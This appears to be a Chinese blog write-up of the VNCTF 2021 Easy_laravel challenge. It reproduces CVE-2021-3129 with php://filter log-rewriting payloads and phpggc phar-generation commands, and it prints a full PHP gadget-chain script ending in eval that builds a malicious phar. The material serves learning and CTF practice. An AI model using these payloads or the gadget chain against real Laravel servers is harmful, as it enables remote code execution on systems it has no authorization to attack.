[VNCTF 2021]Easy_laravel-PHP代码审计&CVE-2021-3129学习记录

[VNCTF 2021]Easy_laravel-PHP代码审计&CVE-2021-3129学习记录
上次做完那道代码审计后,好巧不巧,又有新的php代码审计题,也是Laravel,话不多说,进入正题
在这里插入图片描述
这题一进入就是这个页面,看到这个页面就想起了之前拿CVE打过的一个靶机,于是看了下版本号找找有没有CVE可以打
在这里插入图片描述
谷歌搜了下laravel 8.22.1 exploit,很绝望,这个版本几乎都是CVE的修复版本,没有可用的CVE,这题还提供了源代码,那就只能慢慢看了
在这里插入图片描述
又是熟悉的N多个文件夹,依旧是先全局搜索_destruct找可以用代码,这个垃圾数据太多了,看着头疼,于是找了function __destruct,注意_是2个

找了一圈没有发现_destruct()里有可直接利用的函数,当然得顺着destruct里面用到的函数慢慢往下看,结果可惜了,但是却找到了两个有可控参数样式好的类
一个是PendingBroadcast类,两个参数可控
在这里插入图片描述
一个则是ImportConfigurator类,也是两个参数可控
在这里插入图片描述
这里得说一下,我找的时候会很关注这种this->xxx->xxx类型的,因为他一般表示一个参数或者一个类调用某种方法,而这个参数或者类和方法一般很有用,可能可控,这就让我们有很大的扩展空间
我们可以找该方法在不同类中的定义,因为在很多类中有同名函数,然后我们可以看看有没有可以利用的,可惜的是这题我看了好久都没找到可以用的

自己本来也没做过啥题,思维一下子就被限制住了,好在大佬的WP给了提示同名函数在不同类中的定义如果也没用的话,可以试着看看__call()这个魔法方法,于是全局搜索找了找function __call
在这里插入图片描述
找了HigherOrderMessage中的这个_call

$expectation = $this->mock->{$this->method}($method);

这个和上面那种this->xxx->xxx样式相比其实差不多,但是更好,因为上面找的只能改变第一个xxx,相当于你不能改变调用的函数,你只能改变调用参数的类,也就是只能找同名函数在不同类中的定义。而这种this->xxx->{this->xxx}就牛逼了,两个xxx你都能改,也就说你能调用任意类中的任意方法,emem于是现在可以放心大胆的找一些可直接利用的函数了

直接全局搜索eval,数据也好多,看看有没有eval($this->型的吧,结果还真有,快乐了
在这里插入图片描述
$this->classCode可控,舒服了,现在可以构造利用链了

这题下面则是需要利用Laravel的漏洞使用我们构造的利用链
首先我们先复现一下漏洞,了解一下漏洞的利用过程吧,这里我参考了一篇公众号推文

将文件下载后先进/resources/views/welcome.blade.php将{{name}改成{{name}},否则页面无法正常显示,进入public目录启动laravel
在这里插入图片描述
访问首页
在这里插入图片描述
开启BP准备抓包,点击make variable optional抓包
在这里插入图片描述
这个漏洞的具体成因我就不说了,有兴趣可以去看看网上的其他文章,简单来说就是viewFile的参数最后会传进file_get_contents()执行,所以如果传入一个 phar 文件就会造成 php 反序列漏洞

假如网站本身存在上传功能,我们可以通过 phpgcc 来生成 php 反序列文件,然后将其作为viewFile的参数执行漏洞

./phpggc monolog/rce1 call_user_func phpinfo --phar phar -o ./phar.gif

在这里插入图片描述
但是一般的网站可能并没有文件上传的功能,所以这个时候我们可以考虑利用利用laravel.log实现phar反序列化
该利用方法的核心步骤是将laravel.log里的内容清空,然后利用php://filter/write=写入phar反序列化的payload,最后发送请求利用 file_get_contents() 去触发phar反序列化

完整的漏洞利用过程:
1.发送如下数据包,将原日志文件laravel.log清空:

php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

在这里插入图片描述
2.用phpggc生成phar序列化利用POC(编码后的)

php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

在这里插入图片描述
得到的POC(编码后的)最后面再加一个a,否则最终laravel.log里面将生成两个POC,导致利用失败

3.发送如下数据包,给Log增加一次前缀,用于对齐:

4.将POC作为viewFile的值,发送数据包
在这里插入图片描述
5.发送如下数据包,清空对log文件中的干扰字符,只留下POC:

php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

在这里插入图片描述
6.使用phar://进行反序列化,执行任意代码
在这里插入图片描述
执行成功,至此漏洞利用成功
github上也有整合上面步骤构成的利用脚本
在这里插入图片描述
成功执行

回到题目本身,我们试试这个exp还能不能用
在这里插入图片描述
在这里插入图片描述
很明显phpggc提供的利用链用不了了,只能用我们上面挖的了,这里copy了大佬的脚本

<?php
namespace Symfony\Component\Routing\Loader\Configurator{
    class ImportConfigurator{
    	private $parent;
    	private $route;
    	public function __construct($class){
	    	$this->parent = $class;
		    $this->route = 'test';
	    }
    }
}

namespace Mockery{
    class HigherOrderMessage{
	    private $mock;
        private $method;
	    public function __construct($class){
        	$this->mock = $class;
            $this->method = 'generate';
        }
    }
}

namespace PHPUnit\Framework\MockObject{
    final class MockTrait{
	    private $classCode;
	    private $mockName;
	    public function __construct(){
            $this->classCode = "phpinfo();";
            $this->mockName  = '123';
        }
    }
}

namespace{
    use \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
    use \Mockery\HigherOrderMessage;
    use \PHPUnit\Framework\MockObject\MockTrait;
    
    $m = new MockTrait();
	$h = new HigherOrderMessage($m);
	$i = new ImportConfigurator($h);

	$phar = new Phar("shell.phar");
	$phar -> startBuffering();
	$phar -> addFromString("test.txt","test");
	$phar -> setStub("GIF89a"."<?php __HALT_COMPILER();?>");
	$phar -> setMetadata($i);
	$phar -> stopBuffering();
}
?>

执行poc.php脚本生成shell.phar:

php -d "phar.readonly=0" poc.php

然后执行如下命令对payload进行编码:

cat shell.phar | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

在这里插入图片描述
剩下的就是和上面的漏洞利用方法一样进行利用
在这里插入图片描述
可是很奇怪,我这里一直读取不了,试了很久也没啥结果,为了验证是不是发的包有问题,我在本地搭了laravel,用它提供的vendor和我们自己挖的链,结果是可以利用的,不知道是不是题目的问题,有点自闭了,到此为止吧,也算学了一些东西。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值